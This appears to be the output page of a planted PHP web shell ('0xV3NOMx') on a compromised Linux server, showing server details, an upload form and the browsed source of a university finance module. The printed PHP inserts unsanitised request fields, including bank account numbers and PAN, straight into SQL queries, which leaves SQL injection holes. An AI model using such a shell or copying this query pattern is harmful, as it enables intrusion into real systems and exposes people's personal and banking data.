0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 18.119.135.67


Current Path : /proc/thread-self/root/var/www/html/univadmin/finance/
Upload File :
Current File : //proc/thread-self/root/var/www/html/univadmin/finance/fprofile.php

<?php
    function saveFinanceProfileData($aobj_context){
        $univcode = $aobj_context->mobj_data["univcode"];
        $filename = $_FILES['file']['name'];
        $tempname = $_FILES['file']['tmp_name'];
        $data = json_decode($aobj_context->mobj_data["data"], true);

        $query = "insert into fms_masemp(fmobile, fempname, femail, fraddr, 
                   fbranch, facno, fifsccode, fpanno, fstatus)
                  values('{$data['mobileno']}', '{$data['fullname']}',
                  '{$data['email']}', '{$data['address']}',  
                  '{$data['branch']}', '{$data['accountNumber']}', '{$data['ifsc']}', 
                  '{$data['panno']}', 'T')";
                  
        $result= $aobj_context->pobj_db->Execute($query);
        if($result){
            $arr['msg'] = "Saved Successfully";
            echo $aobj_context->mobj_output->ToJSONEnvelope($arr,0,"success");  
        }else{
            $arr['msg'] = "Failed to save";
            echo $aobj_context->mobj_output->ToJSONEnvelope($arr,-1,"failure");  
            return;
        }
        
    }

    function getFinanceEmpStatus($aobj_context){
        $univcode = $aobj_context->mobj_data["univcode"];
        $teachcode = $aobj_context->mobj_data["teachcode"];
        $mobileno = $aobj_context->mobj_data["mobileno"];

        $query = "select ifnull(fstatus, '')as fstatus from fms_masteach 
                  where fmobile='{$mobileno}' and fteachcode='{$teachcode}'";
        $result= $aobj_context->pobj_db->GetRow($query);    
        if($result){
            echo $aobj_context->mobj_output->ToJSONEnvelope($result,0,"success");  
        }else{
            $arr['msg'] = "Failed to save";
            echo $aobj_context->mobj_output->ToJSONEnvelope($arr,-1,"failure");  
            return;
        }
        
    }
?>